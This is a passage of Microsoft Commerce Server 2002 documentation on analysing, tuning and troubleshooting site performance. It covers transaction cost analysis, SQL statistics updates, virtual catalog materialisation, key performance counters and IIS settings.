  • Running the Updatefulltextcatalogs Script. Explains how to run the Updatefulltextcatalog script, and when and why you should run it.
  • Performance of Fulltext Search on Catalogs. Explains how to fulltext search affects the performance of catalogs.
  • Managing Performance. Describes tuning and optimizing methods for Commerce Server performance.
  • Troubleshooting Performance. Lists common problems that may occur while using Commerce Server optimization tools. Provides additional resources for troubleshooting other areas of Commerce Server.
  • Additional Optimizing Information. Lists online and print resources as well as tools for optimizing Commerce Server.


Analyzing Your Current System

Analyzing your current system configuration can help you better understand how it affects overall system performance. After you have analyzed your site, you can use the information you gathered to tune and scale all areas of your site. For example, you may want to change the configuration, adjust the way the software works, or improve the hardware.

As you tune and scale your site, you may need to make changes to your current configuration. You must know the current configuration of your system in order to accurately determine the affect a change in configuration has on performance. Analysis of the baseline configuration of your system should include an assessment of the following:

  • Hardware: Inventory each computer configuration, including boards, peripherals (excluding mouse or keyboard), and network devices. Create a system diagram to show how parts are logically connected and what purpose they serve. For example, indicate whether a server is a Web server or a database server. The following figure shows an example hardware diagram.

Hardware configuration diagram

  • Network configuration. Your network configuration inventory should include:
    • CPU type, speed, quantity, cache size, and cache settings
    • Memory type, quantity, and size
    • Disk subsystem controller card
    • Disk speed and drive type
    • SCSI protocol and Fiber protocol
  • Software. Describe the software used on each computer and how it interacts with software on other computers. When documenting the software installed on each computer, include the following:
    • Build numbers.
    • Logical interface between applications. For example, if an application is retrieving data from a table in a database, describe that relationship.
    • Service packs.
    • Setup options used when installing the software.
    • System settings. For example, document your virtual memory configuration, such as /3GB switch. Document your IIS isolation level, and your IIS Server Manager settings, for example, session state caching (off/on), ASP debugging (should be off), and ASP buffering (should be off).

    In addition to describing your software configuration, create a software diagram. The following figure shows an example software diagram.

    Software configuration diagram

  • Content. Describe the content that has been added to each type of server since Commerce Server 2002 was installed. For example, you should document each file and the directory structure in which files are stored on Web servers and database servers. You should also document information, such as permission settings, for the file system, database scripts, configuration files, data files, and so on.
  • Load balancing. Describe any places where you are using Network Load Balancing (NLB). For example, have you scaled your site across multiple servers using NLB or hardware load balancing?
  • Document your management practices. Describe how log files are archived when databases are backed up. Describe how databases are distributed across disks.


Using Transaction Cost Analysis

Transaction cost analysis (TCA) is a method of measuring site capacity. TCA can measure the performance cost of a transaction, how much traffic your Web site can handle, and the cost of performing various types of transactions on your site. You use TCA to measure the capacity of your site and then use the results to increase the capacity of each system component. You can also compare server transactions with one another to determine which ones are putting the greatest demands on your system.

The term transaction in TCA refers to work done by a server or servers (Web servers, middle–layer servers, and SQL Servers) to fulfill a user request. For example, a user request for a product description page stored in a database is a transaction, as is a request to add an item to a shopping basket. This term does not refer to e-commerce transactions in which money is exchanged.

Analyzing Traffic

Creating a Usage Profile

Increasing Web Site Capacity

Increasing Middle-Layer Capacity

Increasing Database Capacity

Analyzing Traffic

After you have analyzed your current system and documented your hardware and software, you must determine how many users typically use the site concurrently, especially at peak usage. This data usually comes from:

  • Market analysis. Analysis of a new site. You may have commissioned a market analysis report to predict how much traffic your site can expect to receive at the time it is deployed and afterward. Use this report as the baseline configuration for your TCA.
  • Site usage analysis. Analysis of an existing site. Analyze your Web server log files to see how many hits your site receives at any given time, as well as usage trends that might indicate whether parts of the site have become more or less popular over time. When calculating how many concurrent users your site currently supports, remember to base your calculations on peak usage, rather than on typical usage.

Creating a Usage Profile

After you know how many users are using your site, you must then determine how they use it so that you can estimate how much demand a typical user places on the system. You should create a usage profile so that you will have a baseline from which to start.

You need to analyze the usage log files of your site to create a usage profile. If you have logs gathered over a long period of time (at least a week), use them to get accurate averages. First, identify the operations that a user can do (browse, search, and so on). Next, gather the following data:

  • Number of users to the site
  • Number of hits each page receives (which pages have been visited)
  • Time spent on each page
  • Session length
  • Peak periods of activity

You can use the number of visits to each page to profile typical user operations for your site. The following list shows a usage profile with typical shopper operations for an e-commerce retailer.

  • Average time of session: 10 minutes
  • % of visitors who purchase: 2
  • Peak multiplier: 3x average
  • Requests per visit: 10

The following table enumerates the statistically determined page request distribution. The requests are calculated as a whole and then normalized over the statistically averaged user session.

Operation | % dist. | ASPs per Operation | Calculation | Normalized per Visit
Anonymous Basket | 8.15 | 9 | 73.35 | 2.12
Anonymous Browse | 20.37 | 3 | 61.11 | 1.76
Anonymous Checkout | 0.51 | 10 | 5.10 | 0.15
Anonymous Search | 5.09 | 2 | 10.18 | 0.29
Anonymous Step-Search | 3.05 | 3 | 9.15 | 0.26
Basket | 8.15 | 12 | 97.80 | 2.82
Browse | 20.37 | 2 | 40.74 | 1.17
Checkout | 0.71 | 15 | 10.65 | 0.31
Homepage | 24.44 | 1 | 24.44 | 0.70
Register New User | 1.02 | 3 | 3.06 | 0.09
Search | 5.09 | 1 | 5.09 | 0.15
Step-search | 3.05 | 2 | 6.1 | 0.18
Total | 100.00 |  |  | 10

For more information about the process of developing an online usage profile, see the topic “Creating a Site Usage Profile,” in Chapter 18 of the Commerce Server 2000 Resource Kit.

Increasing Web Site Capacity

After measuring the capacity of your system, you may discover that your current system cannot handle the amount of traffic that you are currently experiencing on your Web site. Or, you may be concerned about an upcoming surge in traffic for a new marketing initiative or a seasonal surge, such as Back-to-School or Christmas.

To prevent a lapse in performance, you need to test the expected traffic level on your Web servers to accurately determine where to scale servers to meet the anticipated load. (Performing calculations to determine how many servers to add may work, as long as capacity problems are isolated to one layer.) You can use System Monitor to monitor the counter values for different server objects. You can use the specific Commerce Server performance counters to view the server objects important to your business. For more information about System Monitor, see Windows 2000 Server Help.

To increase capacity, you should determine which resources are depleted. You can scale the Web servers vertically by increasing the memory, CPU, or network capacity. Another way to increase the capacity of the Web servers is to add more servers to the load-balanced cluster. However, it is critical to have a strong understanding of the capacity of the whole Web farm before making a decision to scale a single component.

See Also

Using Transaction Cost Analysis

Commerce Server Performance Counters

Increasing Middle-Layer Capacity

You can use middle-layer servers for a variety of purposes, such as running applications or storing content. To evaluate performance of your middle layer you should monitor the following performance counters:

  • Memory
  • System
  • Physical disk

If the values for these counters are inadequate, then you should scale this layer. For example, when monitoring the Bytes received per second counter, you should compare this counter to the total bandwidth of your network adapter card to determine whether your network connection is creating a bottleneck. It is recommended to use 50 percent or less of existing capacity to increase room for spikes in visitor traffic. If this number is very close to the capacity of the connection, and processor and memory use are moderate, then the connection might be the problem.

You may also want to incorporate documentation that discusses performance issues specific to the technologies you are using on this layer to find ways to increase middle-layer capacity. For example, Windows 2000 Server Help provides information about using Network Load Balancing (NLB) to permit access to additional servers, which could increase capacity.

Increasing Database Capacity

In order to increase your database capacity, you must first monitor the following performance counters:

  • Memory
  • System
  • Physical disk
  • SQL Server

After monitoring these counters, you will have a better idea if you need to scale up: add memory, physical disk space, or servers.

To scale out, you can increase database capacity by adding a new server. It is easier to add a new server than to move an application that is sharing a database server to a new server. However, increasing capacity is not always a simple matter of adding another server. Review the documentation for your database application for guidelines on scaling the database.


Optimizing SQL Server Query Performance

Incorrect or outdated statistics can make a significant difference in the amount of time it takes to run a query on a table containing large volumes of data.

To update the index statistics for Commerce Server 2002 tables

For each Commerce Server 2002 table that can potentially contain a large volume of data, run the following script:

UPDATE STATISTICS <Tablename> with FullScan

Run this script for the CatalogGlobal table.

For each base catalog, run this script for the following tables:

  • CatalogName_CatalogProducts
  • CatalogName_CatalogHierarchy
  • CatalogName_CatalogRelationships

For each virtual catalog, run this script for the following tables:

  • CatalogName_CatalogProducts
  • CatalogName_CatalogHierarchy
  • CatalogName_CatalogRelationships
  • CatalogName_CATALOGVIRTUALPRODUCTS


Materializing Virtual Catalogs

By default, virtual catalogs are created as views. This makes it easier and faster to edit a virtual catalog, but it can reduce the runtime performance in comparison to base catalogs. To improve runtime performance of virtual catalogs, you can materialize them using the MaterializeVC.vbs script.

MaterializeVC.vbs Script

You use the MaterializeVC.vbs script to set a catalog attribute so that the catalog will be materialized when it is rebuilt.

The MaterializeVC.vbs script is located in the \Program Files\Microsoft Commerce Server 2002\Support folder.

When you rebuild a virtual catalog, it will be built as a materialized virtual catalog, or a non-materialized virtual catalog, depending on what it is to begin with.

The CatalogFlags Catalog property (see the column called CatalogFlags in the CatalogGlobal table) controls whether a catalog is materialized or not. Following is a extract from the Catalog.idl file:

{
CATALOG_FLAG_DEFAULT= 0, // default value for the column
CATALOG_FLAG_MATERIALIZE_VC = 1,
}CatalogFlagsEnum;

For information about running MaterializeVC.vbs, call the script using /?.

Note

  • If a virtual catalog is materialized, you must rebuild the virtual catalog when any data changes in the associated base catalogs. For instructions about rebuilding a virtual catalog, see Rebuilding a Virtual Catalog.


Running the Updatefulltextcatalogs Script

Use the Updatefulltextcatalogs.vbs script to update the full-text indexes on all product catalogs in one full-text catalog.

When you have multiple catalogs in one full-text catalog, you can use the Updatefulltextcatalog.vbs script to update the full-text indexes of all the catalogs at the same time. It is more efficient to use Updatefulltextcatalog.vbs script than use the ProductCatalog.RegenerateFullTextIndex object, which consumes a lot of resources on the SQL Server.

The Updatefulltextcatalog.vbs script is located in \Program Files\Microsoft Commerce Server 2002\Support folder.

The Updatefulltextcatalog.vbs takes the following parameters:

  • The connection string to the catalog database.
  • -U to update the full text catalogs
  • -I to set a registry key which will prevent errors due to ignored words in free text search phrases. By default, SQL Server returns the error message “A clause of the query contained only ignored words.”

If you do not specify –U and –I, then the script will update the full-text catalogs and set the registry key.

After running Updatefulltextcatalog.vbs, restart the Microsoft Search service.


Performance of Fulltext Search on Catalogs

In installations that use many catalogs, it may take up to 10 minutes to generate a full-text catalog.

If you have many catalogs (for example, 10,000), and each catalog has 12 or more columns that are full-text indexed, and each with more than 1250 products (that is, rows) in it.

Commerce Server adds each table to a FullTextCatalog (either an existing one or a new one), add the 12 full-text searchable properties, and then starts full-text indexing.


Managing Performance

Managing the performance of your Commerce Server 2002 site largely consists of finding and removing bottlenecks. A bottleneck is hardware or software that is operating at maximum capacity. As the load approaches maximum capacity, the bottleneck begins to restrict the flow of work through the system. Performance tools can help you determine what hardware or software has reached a bottleneck. You can then improve the hardware, change configuration, or tune the software to improve overall performance.

Performance is only one factor in optimizing your Commerce Server site. Other important factors include ease of development and maintenance, time to market, availability of good programming tools, and in-house site developer expertise. Optimizing for performance can affect any of these other factors.

Web development is driven by a business case that determines priorities. For example, project goals might specify a particular programming language or data-access technology, and such decisions always affect performance to some degree. It is extremely important to determine a necessary level of performance appropriate to your Web site, then develop the site and manage it to that level of performance.

Web sites often run on multiple physical layers, each of which has its own hardware, system software, and application software. As a result, Web applications can have many types of performance problems: hardware (Web server, database server, the network), system software (operating systems, networking software, system services), browsers, logical database, physical database, data access, and so on.

You can use the following questions to help determine your performance tuning goals:

  • Will the performance of this site meet our goals today and in the future?
  • Can we expect our current configuration to become a bottleneck?
  • How many users can our site support?

Monitoring performance regularly is the only way to be sure that the site is meeting specified performance goals. Regular performance monitoring can provide an early warning when a change degrades performance. You can collect performance data using existing system tools, having the site monitor report on its own performance, or by building special client applications to drive the system.

When you tune performance, you should measure system performance first to see if it meets your goals. If performance doesn’t meet your goals, find the bottleneck, remove it, and then repeat the process until you reach your performance goal. You can always increase performance further, but when site performance meets your goals, additional tuning is generally not cost-effective.

This section contains:

  • Performance Terminology
  • Finding Performance Bottlenecks
  • Tuning Your Hardware
  • Tuning Your Software
  • Monitoring and Maintaining Logs
  • Key Performance Counters
  • Monitoring Performance Counters

See Also

Monitoring Commerce Server Sites


Performance Terminology

The following table defines the performance terms used in Commerce Server Help.

Term | Definition
ASP (Active Server Pages) | Pages of information transmitted by the Web server to the client’s browser. ASPs are the building blocks of user operations and the primary unit of measure for Web Server performance (ASP requests/sec).
context switching | The rate at which one thread is switched to another (either within a process or across processes).
CPU cost | CPU resources needed to perform a single shopper operation.
DC | Domain Controller
DTC | Microsoft Distributed Transaction Coordinator. A transaction manager that allows client applications to include several different sources of data in one transaction. MS DTC coordinates committing the distributed transaction across all the servers enlisted in the transaction.
frequency | Operations performed per second by a single shopper.
MSCS | Microsoft cluster service combines two servers to increase the availability of a service.
MTBF | Mean time between failure.
NIC | Network interface card.
NLB | Network Load Balancing is a feature provided with Microsoft Windows 2000 Advanced Server to provide scalability and reliability.
OLAP | Online Analytical Processing
optimal performance | The highest measured performance for a specific shopper Operation with the lowest measured CPU cost. The CPU cost increases geometrically when context switching exceeds 15,000/sec. Hence, optimal performance measurements are taken before context switching hits this threshold.
Pentium III equivalent MHz (P3EM) | A unit of measure for processor work. 800 Pentium III equivalent MHz (P3EM) is delivered by a 800 MHz Pentium III processor. A computer with two 800 MHz Pentium III processors will deliver a maximum of 1600 P3EMs.
Pentium III Million Clock Cycles (P3MC) | The number of cycles that a Pentium III chip used in order to process an operation. For example, if an 800 MHz PIII server performed 1 request per second at 10 percent CPU utilization, then the request required 80 million Pentium III Clock cycles to complete. Similarly, if a large operation required 10 seconds of the same CPU running at 99 percent utilization, that operation required 0.99 x 10 x 800 million Pentium III Clock Cycles to complete.
RAID | Redundant Array of Inexpensive Disks.
SAN | Storage Area Network is a hardware solution to provide a richer storage solution.
SPOF | Single point of failure.
user | A user connected to a Commerce Server site by a Web browser.
user operation | An action performed by a user while visiting the site, such as browsing products, adding a product to the shopping basket, and purchasing a product.
user profile | A description of user behavior created by the capacity planning expert that is used to project user capacity of the system. The user profile is constructed of a series of user operations in specified proportions within a given period of time.
TCA | Transaction Cost Analysis, a method for calculating the capacity of an Internet site.
uptime | Percentage of time the Web site responds to end user requests.


Finding Performance Bottlenecks

The best way to find the performance bottlenecks in a deployed solution is to monitor the performance counters and to have a thorough understanding of the system architecture and deployment.

Avoid Unnecessary ASP Code

On the Web tier, you can increase throughput and reduce page latency by reducing your site’s ASP code size. Massive include files can significantly reduce your site’s performance.

For IIS performance tuning, refer to the “The Art and Science of Web Server Tuning with Internet Information Services 5.0” available at:

www.microsoft.com/TechNet/prodtechnol/iis/maintain/optimize/iis5tune.asp

Web Server Component Caching

The next step to increase throughput was to take advantage of caching in the application server. Commerce Server 2000 has a cache object that runs on the front-end Web server. The pages for searching the catalog and the end-product pages take advantage of the new LRUCache (least recently used cache) object extensively. This object caches the actual HTML fragment after it has rendered the return data set from the back-end database server. Subsequent requests by any user for the same content are delivered out of local memory on the front-end Web server by means of the LRUCache.

This greatly reduces total CPU cost, because the SQL Server is no longer invoked and the LRUCache query is less resource intensive than packaging, sending, and receiving the database request. Because the query does not leave the local machine, there is less network traffic and a lower overall I/O cost. For more information about the performance characteristics of this new object, see the Microsoft Commerce Server 2000 Online Marketing Components, Pipeline, and Core Objects Transaction Cost Analysis white paper.

ISA Server Caching

Microsoft Internet Security and Acceleration Server 2000 (ISA Server) Enterprise Edition provides a wide range of caching service options for both outbound and inbound traffic. For high performance caching, ISA arrays can be implemented with ISA Server Enterprise Edition. It is recommend that you use the ISA servers to cache static contents (for example, graphics and static non-personalized contents) to lower the load on the front tier Web servers.

For further information about ISA caching, see the white paper, ISA Caching, at: www.microsoft.com/isaserver/techinfo/planning/cachingwp.asp


Tuning Your Hardware

Choosing the correct hardware for the Web servers and SQL servers plays an important part in doing a performance analysis. A result of this work is to develop recommendations for appropriate hardware for other users.

Web Servers

The Web servers were given more than enough RAM to perform their task. We calculated the maximum working set for the server under load and thus determined how much we could lower the physical RAM in the server.

The disk subsystem of the front-end Web server is used as a read-only device for storing the boot partition and the site content. It needs a read/write device for the pagefile, but these operations are minimal given sufficient physical memory to support the system. The Web server does use the disk subsystem to write event logs and Web logs. This activity is well tuned by the operating system and rarely requires more than a single spindle for performance.

The network system on the Web server should consist of at least a single 100BaseT card. For improved security, manageability, and availability, the server should have two or even three network cards. The network throughput of the Web servers were not sufficient to saturate even a 100 megabit card.

Finally, the CPU and processing subsystem for the server should be the best currently available. This particular hardware subsystem remains the bottleneck on this server for the foreseeable future. This is due to the dynamic and process intensive nature of the ASP Web pages. This also makes sense given our current per-processor licensing scheme.

SQL Servers

Typically, on the SQL servers the most important tuning option is setting up the physical disk subsystem. For optimal performance, the databases should be separated from their transaction logs on different physical drives. All of the databases, transaction logs, and the TempDB should be set up so that the individual disk subsystem is not the bottleneck. In our test scenario, the physical disk subsystem was not an issue, but a real site should carefully correlate disk costs with the transactions in order to plan for increased disk requirements.

SQL Server takes advantage of large amounts of physical memory, so the amount of RAM available should be weighed against the working set of the database. During a runtime test the network I/O and the processing load on the SQL server will be a direct function of the number of front-end server accessing the SQL database as well as the profile of the load. In our testing we set up the SQL server so that it was not the bottleneck. Commerce Server 2000 is designed for horizontal scalability and partitioning of the back-end database systems. The databases for marketing, user profile management, catalog, data warehouse, transactions, and administration can be separated into physical SQL server databases. Thus, the deployed system can easily be distributed onto a separate server or cluster per database. Details of how to do this are not part of this discussion.


Tuning Your Software

For the purposes of this analysis it is recommended that you limit the tuning of the front-end Web server to the minimum. In Internet Service Manager, you can set the performance slider bar to maximum. All other settings can be left as is. If you must change any parameters in testing or in a live site, change only one at a time and then compare the new results carefully with the old.

Note

  • Careless changes to any of the various parameters can make site administration and management difficult.

On the SQL Server servers, all of the defaults can be left as is.

Tune the cache settings for the LRUCache to optimize your installation by setting the cache size so that the ratio of Cache hits/ (cache hits + cache misses) is at least 90 percent. The cache size can be changed in its global initialization. The user profile cache can also be tuned in a similar fashion.


Monitoring and Maintaining Logs

Monitoring your system logs on a regular basis can help you avoid catastrophic failures and prepare you for unexpected increases in server activity.

  • At least twice a day, have Event Viewer send you mail or alerts that inform you or any event activity, and inform interested parties about any anomalies.
  • At least once a week, analyze the Web server logs for changes in user-access trends. Ensure that the traffic to your Web site is within the system limitations. You might also want to reconfigure your Web pages or product offerings based on the trend analysis.
  • Back up and truncate your database logs on a regular schedule. You should copy database logs to an external backup device, such as a tape drive, before deleting them.
  • Enlist help from an external analysis agent, such as Keynote Systems, to monitor the page latency of your site from many remote locations.

See Also

Monitoring Commerce Server Sites


Key Performance Counters

For the purposes of this analysis, it is necessary to focus on the following key counters.

Processor -> %Processor Time

During performance testing for capacity, the processor should be kept under a limit that is either the target of monitoring tools, or a limit that has been set by data center personnel. For the purposes of our testing, the limit was set at 85 percent.

Memory -> Pages/sec

Measures the actual memory requests that are made to the hard disk. A high rate can indicate a lack of memory resources or a poorly laid out solution.

Memory -> Available Mbytes

If the available megabytes are too low, the system starts paging. The absolute minimum number of available megabytes is four, but it is a good idea to keep headroom on a server to account for peaks.

Active Server Pages -> Request Execution Time

Measures the time spent processing the actual script. If this counter increases dramatically or the time goes over one second, the system is working beyond its capacity. The Solution Site pages were designed to process in well under one second.

Active Server Pages -> Request Wait Time

Measures the amount of time a new request waits in the queue before it begins processing.

Active Server Pages -> Requests/sec

The actual throughput of the dynamic pages.

Web Service -> Get Requests/sec

Represents the sum of the dynamic pages and static pages. This is the key counter for throughput.

Network Interface-> Bytes Total (per card)

Represents the sum of network throughput for the card. This is the key counter for network throughput.

Physical Disk-> %Disk Time Physical Disk-> Disk Reads/sec Physical Disk-> Disk Writes/sec

Three counters that track the activity in the disk subsystem. The disk subsystem can very easily become the bottleneck on any system. On the front-end Web server the disk utilization should be quite low because the content and images for a page should fit well within the file cache. The primary disk activity is the log file that is now well tuned for performance in Windows 2000.

However, the SQL server makes extensive use of the physical disk subsystem. Planning and calibrating this subsystem is the key component of a fast DBMS.

System -> Context Switches/sec

Represents the number of times the system swaps from one thread to another. If this counter goes above 5000 per processor, it hints at poor symmetric multiprocessing (SMP) scalability for the server and/or application. The components of Windows 2000 and Commerce Server 2002 were designed to scale well.

SQL Server:Databases ->Transactions/sec

The key indicator for activity in the back-end SQL Server.

NTLM Authentications/sec

The actual number of times that the authentication check is performed.

CS2002: Marketing and Catalog -> LRUCache: Cache Size

The size of all the caches in the system combined in bytes. This size should be increased in the Global.asa to maximize the cache hit rate.

CS2002: Marketing and Catalog -> LRUCache: Flushes/sec

The Least Recently Used Cache (LRUCache) flushes items from its cache if it is programmatically requested or if the number of elements for the cache exceeds the maximum size set in the Global.asa by 10 percent.

CS2002: Marketing and Catalog -> LRUCache: Hits/sec

The rate of successful requests that are served from the LRUCache in memory.

CS2002: Marketing and Catalog -> LRUCache: Misses/sec

The rate of unsuccessful requests that are served from the LRUCache in memory. This can also be viewed as the rate at which new items are added to the cache.


Monitoring Performance Counters

Performance counters allow you to monitor specific aspects of work performed on your system. System Monitor groups counters by object type. A unique set of counters exists for Commerce Server processes, memory, cache, hard disk, and other object types that produce statistical information. For more information about Commerce Server performance counters and how they are used, see Monitoring Commerce Server Sites. For more information about System Monitor, see Windows 2000 Server Help.

See Also

Monitoring Commerce Server Sites

Hardware Performance Counters

Commerce Server Performance Counters


Troubleshooting Performance

This topic describes methods you can use to troubleshoot Commerce Server and improve system performance.

This section contains:

  • Stopping Unnecessary Applications
  • Monitoring Production Servers
  • Using Consistent Server Configurations
  • Testing Tips
  • Finding Specific Performance Problems
  • Using Memory
  • Monitoring Key Performance Counters
  • Turn Off Anonymous Profiling
  • Changing IIS Performance Tab Settings


Stopping Unnecessary Applications

If an application is not needed to perform the primary functions of a server, do not install it. Even installing an application temporarily and then uninstalling it can cause problems if there is an incompatible dynamic-link library (DLL) on your server. You should stop any applications that are not needed.


Monitoring Production Servers

It is recommended that you use a separate server that is not part of the run-time services to monitor the production servers in your Web farm. It is important to monitor your servers from a separate server because you do not want the process of monitoring to affect the performance or operation of a production server. If you use a separate server, you will get a more accurate measurement of the true performance of your production servers.

In addition, monitoring user traffic should take place on a separate administrative network—separate from the network that handles the actual data processing traffic. System Monitor, as well as other monitoring tools, can aggregate the data from many servers into one collective view with this process. It also reduces the disk input/output (I/O) on the Web and database servers, which is necessary to log this information.


Using Consistent Server Configurations

Servers that perform the same function should have the same software configuration. For example, all Web servers should have the same software configuration (but not necessarily the same configuration as the database servers). Having the same software configuration provides the following benefits:

  • Identical and expectable performance — assuming the hardware is also consistent.
  • Upgrading software is easier.
  • Any improvements made to one server should improve all servers.


Testing Tips

Always perform real-world testing in a test environment with the production configuration before making changes to your production site to improve performance. Performing module tests or tests on development systems will not give you the same results as testing the full configuration under normal and peak traffic. You must not change anything on production without a full test. The following are basic guidelines for testing:

  • Test each Web page to ensure that the content is correct, the links work, the results you want are returned, and the performance is what you expect.
  • Test the system using peak traffic conditions to ensure that it can handle the maximum amount of traffic you have on the system. Use tools such as Microsoft Web Application Stress (WAS) and System Monitor to assist you.
  • Verify response time by bringing up the most complex Web pages under normal traffic, while accessing your Web site remotely using different speed connections.


Finding Specific Performance Problems

System throughput problems usually occur when the demand for resources exceeds supply. Isolating performance problems starts with determining how users, Commerce Server 2002, and the operating system interact with each resource.

To begin this task, generate detailed success criteria for concurrent users in the planning phase of the Web site architecture. Determine a usage profile for a typical user visit based upon previous experience or user analysis. This data should provide a download size, throughput, and latency goal for each page.

Site developers should test the ASP pages that they create with a load simulation tool, such as the Microsoft Web Application Stress (WAS) tool, and track these results versus goals. When these pages pass the single server configuration goal, you should plan a milestone for distributed server testing that is more similar to the data center configuration. (In particular, you should have the client simulator and back-end systems on separate computers.) The Web server and back-end systems should be symmetric multiprocessing (SMP) servers if they are going to be deployed as such in the data center.

Next, you should attempt to reduce page request latency. The first item to look at for performance improvements is the requests to the SQL Servers. The SQL Server Profiler tool that comes with Microsoft SQL Server 2000 has a wizard that recommends indices for tuning the database. This tool can be very useful to test frequent page operations. If you are using Microsoft Active Directory server you may also want to monitor its activity. The NTDS object performance counters on the Active Directory server will help define the use of this server component.

After you understand how the data is accessed, you should investigate the page logic. There are a number of tips for tuning that are specific for Active Server Pages (ASP) programming. Each ASP page can realize a significant throughput gain by following these steps correctly.

If the page latency is too long because there are too many calls for data, you can use the Commerce Server LRUCache object. This object can reduce expensive calls for data by retaining the rendered HTML fragment, thus eliminating the query to the back-end server.

Finally, for small tweaks in performance and throughput, try tuning the registry settings within Internet Information Services (IIS) 5.0 and Microsoft Windows 2000. Be aware that these changes will not have the same impact on performance as changing the algorithm or access methods in the site code. For example, you can tune performance on the IIS server by changing the IIS Performance tab settings to More than 100,000 and confirming that ASP debugging is not enabled.

See Also

Changing IIS Performance Tab Settings

Commerce Server Performance Counters


Using Memory

Memory usage is perhaps the most important factor in system performance. When memory demand exceeds supply, Microsoft Windows 2000 Server moves blocks of code and data, called pages, from random access memory (RAM) to disk to free up space for a process. Some paging is acceptable because it enables Windows 2000 Server to use more memory than actually exists in physical memory (RAM). Constant paging, however, is a drain on system performance.

When you start Windows 2000 Server, it automatically creates a paging file (Pagefile.sys) on your system. Windows 2000 Server uses the paging file to provide virtual memory. The recommended size for the paging file is equivalent to the amount of RAM available on your system plus 12 megabytes (MB). However, the size of the file also depends on the amount of free space available on your hard disk when the file is created. For information about scalability, see the Commerce Server 2000 Resource Kit.


Monitoring Key Performance Counters

You can discover system bottlenecks by monitoring key performance counters during peak periods. For information about the Commerce Server performance counters you should monitor, see Commerce Server Performance Counters.


Turn Off Anonymous Profiling

Commerce Server 2002 makes profiling of the anonymous user easy. However, the cost of tracking all anonymous users at very large Web sites can be costly. Carefully weigh the benefits gained from creating cookies and unique instances in your databases and Microsoft Active Directory servers before implementing this feature. Many of the benefits gained from this feature can be realized by more careful analysis of the Commerce Server reports.

See Also

Commerce Server Reports


Changing IIS Performance Tab Settings

You can change the Microsoft Internet Information Services (IIS) 5.0 Performance tab settings to increase performance.

To change the IIS Performance Tab settings

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In the Internet Information Services screen, expand the nodes to the following path: Internet Information Services/<Server Name>/Default Web Site.
  3. Right-click Default Web Site and select Properties.
  4. Click the Performance tab.
  5. Move the Performance Tuning slider to the right to More than 100,000, and then click OK.


Additional Optimizing Information

There are additional resources available for you to use to help you optimize the performance and capacity of your Commerce Server 2002 site.

This section contains:

  • Performance Optimizing Tools
  • Web-based Information


Performance Optimizing Tools

Microsoft offers a numbers of tools for performance tuning and testing. Some of these tools are included with Microsoft Windows 2000 and Internet Information Services (IIS) 5.0, others are on the Windows 2000 Server Resource Kit companion CD, and others are available on the Microsoft Web site (www.microsoft.com). For example, the System Monitor (formerly known as Performance Monitor) is built into Windows 2000 and is essential to monitoring nearly every aspect of server performance.

The following section lists brief descriptions of performance optimizing tools and how to access them.

  • Microsoft Web Application Stress Tool. A simulation tool developed by Web testers to realistically reproduce multiple browsers requesting pages from a Web application. Microsoft has made the tool easy to use, masking some of the complexities of Web server testing. This makes the tool useful for anyone interested in gathering performance data on a Web site. The tool is a consolidation of many of the best features developed over the years, as well as a few new features. This version covers the most needed features for stress testing multi-layered, personalized Active Server Pages (ASP) Web sites running on Microsoft Windows 2000.

    To download WAS see, http://go.microsoft.com/fwlink/?LinkId=6731.

  • Network Monitor. A tool that captures network traffic for display and analysis. You can use Network Monitor to perform tasks such as analyzing previously captured data in user-defined methods, extracting data from defined protocol parsers, and analyzing real-time traffic on your network. Network Monitor is a useful tool for capturing packets between browsers, Web servers, and SQL Server. It provides valuable timing information as well as packet size, network utilization, and many other statistics that can be valuable for managing system performance.
  • SQL Server Profiler. A tool that captures SQL Server events from a server. The events are saved in a trace file that you can analyze later or use to replay a specific series of steps when trying to diagnose a problem. You can use SQL Server Profiler to:
    • Step through problem queries to find the cause of the problem.
    • Find and diagnose slow-running queries.
    • Capture the series of SQL statements that lead to a problem. The saved trace can then be used to replicate the problem on a test server where it can be diagnosed.
    • Monitor the performance of SQL Server to tune workloads.
  • System Monitor. A tool you can use to collect and view extensive data about the way in which hardware resources are used and the activity of system services. You can use System Monitor to:
    • Collect and view real-time performance data on a local computer or from several remote computers.
    • View data in a counter log that is either being collected currently or was collected previously.
    • Present data in a printable graph, histogram, or report view.
    • Incorporate System Monitor functionality into Microsoft Word or other applications in the Microsoft Office suite by means of automation.
    • Create HTML pages from performance views.
    • Create reusable monitoring configurations that can be installed on other computers using the Microsoft Management Console (MMC).
  • Visual Studio Analyzer. A tool you can use to analyze performance, isolate faults, and understand the structure of your distributed applications. You can use Visual Studio Analyzer with applications and systems built with any of the Visual Studio tools. Several Microsoft technologies, such as Component Object Model (COM), Microsoft ActiveX Data Objects (ADO), and COM+, are shipped with the ability to provide information to Visual Studio Analyzer. If your applications use any of these technologies, you can get detailed information about this use from Visual Studio Analyzer. In addition, you can customize your own applications to provide information to Visual Studio Analyzer.
  • Process and Thread Status (Pstat.exe). A tool that shows the status of all running processes and threads. You can find this tool on the Windows 2000 Server Resource Kit companion CD.
  • Process Tree (Ptree.exe). A tool that allows you to query the process inheritance tree and delete processes on local or remote computers. You can find this tool on the Windows 2000 Server Resource Kit companion CD.
  • HTTP Monitoring Tool. A tool that monitors HTTP activity on your servers and can notify you if there are changes in the amount of activity. You can find this tool on the Windows 2000 Server Resource Kit companion CD.
  • NetStat. A command line tool that detects information about the current network connections of your server. You can find NetStat on the Windows 2000 Server Resource Kit companion CD.

See Also

Commerce Server Performance Counters


Web-based Information

The following table describes documentation that you can find on the Web to help you optimize the performance and capacity of your Commerce Server 2002 site.

Title | Description
Commerce Server Performance Tools | A series of white papers that explain the concepts and methodology of performance analysis, and demonstrates how performance analysis was conducted on sample sites. It includes links to tools downloads and sample scripts that can be used to test your site performance.
Microsoft Developer Network (MSDN) | Contains information about Commerce Server and other Microsoft .NET Enterprise Servers. You may find it helpful to visit this site on a regular basis. Search MSDN, and enter Commerce Server 2000 to find related documents and white papers. http://go.microsoft.com/fwlink/?LinkId=5161
The Art and Science of Web Server Tuning with Internet Information Services 5.0 | A white paper which describes the issues and approaches involved in tuning a Web server when running Internet Information Services (IIS) 5.0 on Windows 2000 Server. It discusses the importance of monitoring and testing, as well as potential hardware, software, and tool issues that may arise. There is a section on new or changed IIS and Windows 2000 settings and features, and there are a number of appendixes that list useful tips, registry and metabase settings, and resources for your reference. While this document is written specifically for IIS 5.0, much of this material may also be useful for IIS 4.0 administrators. http://go.microsoft.com/fwlink/?LinkId=5594
